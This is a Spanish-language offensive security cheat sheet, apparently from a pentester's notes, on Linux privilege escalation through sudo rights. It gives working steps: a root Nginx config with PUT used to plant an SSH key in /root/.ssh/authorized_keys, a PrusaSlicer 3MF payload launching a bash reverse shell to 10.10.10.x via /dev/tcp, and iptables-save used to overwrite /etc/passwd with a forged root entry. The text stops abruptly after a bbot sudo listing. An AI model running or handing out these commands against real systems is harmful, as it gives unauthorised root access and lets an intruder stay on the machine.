El siguiente repositorio nos proporciona el siguiente script para crear una configuración en Nginx maliciosa. El siguiente script realizará una configuración de Nginx que habilite una página web por el puerto 1338. Se indicará que el servidor tenga capacidad para realizar un listado de directorios (directory listing) en el directorio raíz (/), dado que el usuario que ejecuta Nginx es root. Esto nos permitirá listar los archivos del sistema sin restricciones.
Además, se habilitará el método PUT para que se puedan subir contenidos a través de la página web vulnerable que estamos montando. Una vez configurado, cargaremos la configuración del sitio web vulnerable.
Accederemos al sitio web vulnerable http://<VICTIM_IP>:1338 y verificaremos que disponemos del acceso a listar los directorios del equipo desde la raíz /.
Al verificar esto, si el servicio de SSH se encuentra expuesto, el objetivo será crear en nuestra máquina atacante una clave pública que subiremos a través del método PUT al servidor web vulnerable en la ruta /root/.ssh/authorized_keys.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+
Mostraremos el contenido de la clave pública id_rsa.pubque hemos generado en nuestra máquina y a través de la herramienta cURL subiremos este contenido dentro del archivo authorized_keys, esto con el objetivo de que nuestra clave pública se encuentre permitida en la máquina pública y nos podamos conectar como usuario root sin proporcionar credenciales.
Procederemos a conectarnos mediante SSH con el usuario root en la máquina víctima. En este ejemplo, la IP de la máquina víctima es 10.10.10.10.
❯ ssh root@10.10.10.10
The authenticity of host '10.10.10.10 (10.10.10.10)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.10' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
..[snip]...
root@test:~# whoami
root
Mosh-server
Al revisar si el usuario que disponemos tiene algún privilegio de sudoers, nos encontramos que puede ejecutar como usuarioroot el binario /usr/bin/mosh-server.
Mosh, el acrónimo de Mobile Shell, es una aplicación (en linea de comandos) que es usada para conectarse a un servidor desde un ordenador o dispositivo cliente, a traves de la red. Puede usarse como SSH y contiene algunas características adicionales al SSH. Es una aplicación escrita por Keith Winstein, para sistemas UNIX, bajo licencia GNU GPL v3.
hacker@gzzcoo:~$ sudo -l
Matching Defaults entries for hacker on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
Al ejecutar el servidor Mosh como root, ahora el usuario hackertiene una shell con permisos de root. Esto permite al atacante acceder a todos los recursos del sistema con permisos completos, incluyendo la capacidad de modificar archivos, instalar software, y ejecutar comandos con total libertad.
Básicamente, lo que realizamos es montar un servidor Mosh con privilegios de root en el localhost, para así lograr obtener acceso como usuario root.
En este ejemplo, el usuario llamado hacker dispone del privilegio sudoers sobre el binario de PrusaSlicer que en este caso se encuentra instalado en /opt/PrusaSlicer/prusaslicer.
PrusaSlicer es el software de corte para impresoras 3D de Prusa . Básicamente, "corta" un objeto 3D en capas finas y un conjunto de instrucciones que la impresora 3D puede seguir para imprimir el modelo.
hacker@gzzcoo:/home/hacker$ sudo -l
Matching Defaults entries for hacker on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
Nos descargaremos el siguiente proyecto de GitHub en nuestro equipo atacante.
Editaremos el archivo exploit.sh para establecer nuestra dirección IP de atacante y el puerto desde donde estaremos en escucha. Levantaremos un servidor web para transferir estos archivos al equipo víctima.
❯ cat exploit.sh
/bin/bash -i >& /dev/tcp/10.10.16.5/444 0>&1
❯ ls -l
.rw-rw-r-- kali kali 38 KB Sat Jan 25 01:25:28 2025 evil.3mf
.rw-rw-r-- kali kali 45 B Sat Jan 25 01:26:02 2025 exploit.sh
.rw-rw-r-- kali kali 369 B Sat Jan 25 01:25:28 2025 README.md
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo víctima, nos descargaremos los archivos exploit.sh y evil.3mf. En nuestro caso la dirección IP de atacante es la 10.10.16.5.
hacker@gzzcoo:/tmp$ wget 10.10.16.5/exploit.sh
--2025-01-25 00:27:00-- http://10.10.16.5/exploit.sh
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45 [text/x-sh]
Saving to: ‘exploit.sh’
exploit.sh 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:00 (3.79 MB/s) - ‘exploit.sh’ saved [45/45]
hacker@gzzcoo:/tmp$ wget 10.10.16.5/evil.3mf
--2025-01-25 00:27:08-- http://10.10.16.5/evil.3mf
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39455 (39K) [application/vnd.ms-3mfdocument]
Saving to: ‘evil.3mf’
evil.3mf 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:08 (315 KB/s) - ‘evil.3mf’ saved [39455/39455]
Desde una terminal de nuestro equipo, nos pondremos en escucha por el puerto especificado en el payload para recibir la Reverse Shell.
❯ nc -nlvp 444
listening on [any] 444 ...
Realizaremos la explotación para abusar de este permiso de sudoers del binario.
hacker@gzzcoo:/tmp$ sudo /opt/PrusaSlicer/prusaslicer -s evil.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
EXPLOIT
Low bed adhesion
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode
Revisamos que hemos logrado obtener acceso al equipo como usuario root, ya que es quien lo ha ejecutado al disponer de permisos de sudo sobre el binario indicado que ha sido aprovechado para ejecutar la Reverse Shell.
❯ nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.34] 60656
root@trickster:/tmp
iptables && iptables-save
En el siguiente blog, se especifica como podemos abusar de este privilegio de sudoers. Además de un PoC sencillo.
Opción 1 --> sobreescribir /etc/passwd para añadir nuevo usuario root
En el PoC del blog mencionado, se nos informa que disponiendo de ambos permisos de sudoers, podemos intentar sobreescribir el archivo /etc/passwd para añadir una nueva entrada de un nuevo usuario root con una contraseña asignada por nosotros mismos.
En este caso, lo que realizaremos es copiar la entrada de nuestro /etc/passwd para tener la estructura de lo que deberemos añadir en el archivo de la máquina víctima.
Una vez tengamos la entrada de plantilla, lo que deberemos realizar es crear una contraseña en el formato de OpenSSL. Deberemos de reemplazar el valor x por el de la contraseña generada, para lograr obtener el siguiente resultado --> root:$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1:0:0:root:/root:/bin/bash
Inyectaremos la entrada rootfalsificada en un nuevo comentario de regla de e, verificaremos que se encuentra añadida esta línea en las reglas de iptables y sobreescribiremos el archivo /etc/passwd para añadir esta nueva entrada del usuario root. Verificaremos si podemos acceder con este nuevo usuario root y la contraseña asignada.
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1:0:0:root:/root:/bin/bash\n'
sudo /usr/sbin/iptables -S
sudo /usr/sbin/iptables-save -f /etc/passwd
Buscando otras maneras de aprovecharnos de estos privilegios de sudoers, pensamos en subir nuestra clave pública SSH al archivo authorized_keys del usuario root. En un principio no deberíamos tener problemas al ejecutar el iptables && iptables-save con permisos de sudo.
Generaremos una nueva clave pública SSH en nuestro equipo atacante.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+
Volveremos a realizar el PrivEsc aprovechándonos de estos permisos de sudoers. En este caso, crearemos un nuevo comentario que contenga nuestra clave SSH pública. Revisaremos que nos aparece el comentario en las reglas de iptables, y sobreescribiremos el archivo mencionado.
Al intentar acceder mediante SSH con el usuario root, comprobamos que no se solicita credenciales. Al subir nuestra clave pública SSH al archivo /root/.ssh/authorized_keys, logramos conectarnos sin necesidad de proporcionar una contraseña, ya que la clave pública almacenada en ese archivo se comunica directamente con nuestra clave privada.
user@gzzcoo:~$ sudo -l
Matching Defaults entries for user on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User user may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot